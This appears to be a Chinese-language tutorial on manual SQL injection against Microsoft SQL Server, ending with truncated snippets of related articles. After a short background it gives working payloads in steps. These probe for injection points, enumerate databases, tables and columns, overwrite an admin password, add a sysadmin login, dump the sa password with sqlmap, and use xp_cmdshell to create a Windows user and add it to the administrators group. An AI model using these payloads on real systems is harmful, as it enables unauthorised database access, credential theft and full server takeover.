ms sql是指微軟的sqlserver資料庫伺服器,它是乙個資料庫平台,提供資料庫的從伺服器到終端的完整的解決方案,其中資料庫伺服器部分,是乙個資料庫管理系統,用於建立、使用和維護資料庫。sql server一開始並不是微軟自己研發的產品,而是當時為了要和ibm競爭時,與sybase合作所產生的,其最早的發展者是sybase,同時微軟也和sybase合作過 sql server 4.2版本的研發,微軟亦將sql server 4.2移植到windows nt(當時為3.1版),在與sybase終止合作關係後,自力開發出sql server 6.0版,往後的sql server即均由微軟自行研發。
所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。具體來說,它是利用現有應用程式,將(惡意的)sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入(惡意)sql語句得到乙個存在安全漏洞的**上的資料庫,而不是按照設計者意圖去執行sql語句。
1、判斷是否存在注入點:
'
and 1=1 //返回正常
and 1=2 //返回錯誤
2、判斷版本號:
3、判斷當前連線資料庫的使用者:
and user>0
and db_name(
)>0
///修改dbid值,判斷其他庫
and (select name from master.dbo.sysdatabases where dbid=1)
>0
///sysobjects為系統表
and (select top 1 name from sysobjects where xtype=
'u' and status>0)
>0
and name not in
('t_jiaozhu'
)
///加入到第六條語句最後乙個括號前,t_jiaozhu為當前表名。檢視出了t_table的表
///上圖查到sysobject表,下語句檢視除了t_jiaozhu、sysobject的表
8、判斷列名:
///以數字2為列,第幾列即為數字幾
///admin為表名
///sysobjects為sql server的系統表
///username為列名
///admin為表名
10、修改密碼:
///***x為更改後密碼
///admin為使用者名稱
;undata article.dbo.admin set password=
'***x' where username=
'admin'
;--
一、資料庫提權:1、新建資料庫使用者:
///***為新建使用者名稱
///111111為***使用者密碼
;exec master..sp_addlogin ***,111111;--
2、檢視資料庫使用者:
程式---mssqlserver---企業管理器---安全性---登入:重新整理
3、提權:
///將***使用者加入到sysadmin組
;exec master..sp_addsrvrolemember ***,sysadmin;--
4、獲取sa的口令:
///此處需使用sqlmap
sqlmap.py -u "注入點" --passwords
///更改sa的口令:
;exec master..sp_password sa,原密碼,新密碼;--
二、作業系統提權
1、新建系統使用者:
///新建***使用者,密碼為111111
;exec master..xp_cmdshell 'net user *** 111111 /add'
2、提權:
///將***使用者加入administrators組
;exec master..xp_cmdshell 'net localgroup administrators *** /add'
3、漏洞利用:
///mstsc遠端桌面連線;建立超級隱藏使用者
///ipc空連線
三、恢復xp_cmdshell
;
exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll'
sql server 2005以上版本:
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
mssql手工注入
mssql注入是針對於sql server資料庫的 平台 i春秋 內容 mssql手工注入 測試 www.test.com 找注入點 點選test 用資料型別轉換爆錯法 檢視版本 原因 version是mssql 的全域性變數,如果我們把它寫成這樣 and version,那個後面的mssql就會強...
學習筆記 MSSQL顯錯手工注入
和朋友一起學習,速度就是快。感謝珍惜少年時。網上很多都在長篇大論mssql顯錯手工注入,其實原理只有一小段。如下 and 查詢一段內容 1 and c c nvarchar型別 查詢一段內容的返回 會自動轉換int型別 肯定會轉換失敗。然後報錯將nvarchar型別 查詢一段內容的返回 的值顯示出來...
MSSQL注入 顯錯注入及反彈注入
前言 mssql注入攻擊是最為複雜的資料庫攻擊技術,由於該資料庫功能十分強大,儲存過程以及函式語句十分豐富,這些靈活的語句造就了新穎獨特的攻擊思路。mssql的顯錯注入操作 以聯合查詢為例 猜欄位聯合查詢 union all 猜出輸出點使用null填充 注釋只有 a 沒有 查詢系統庫 select ...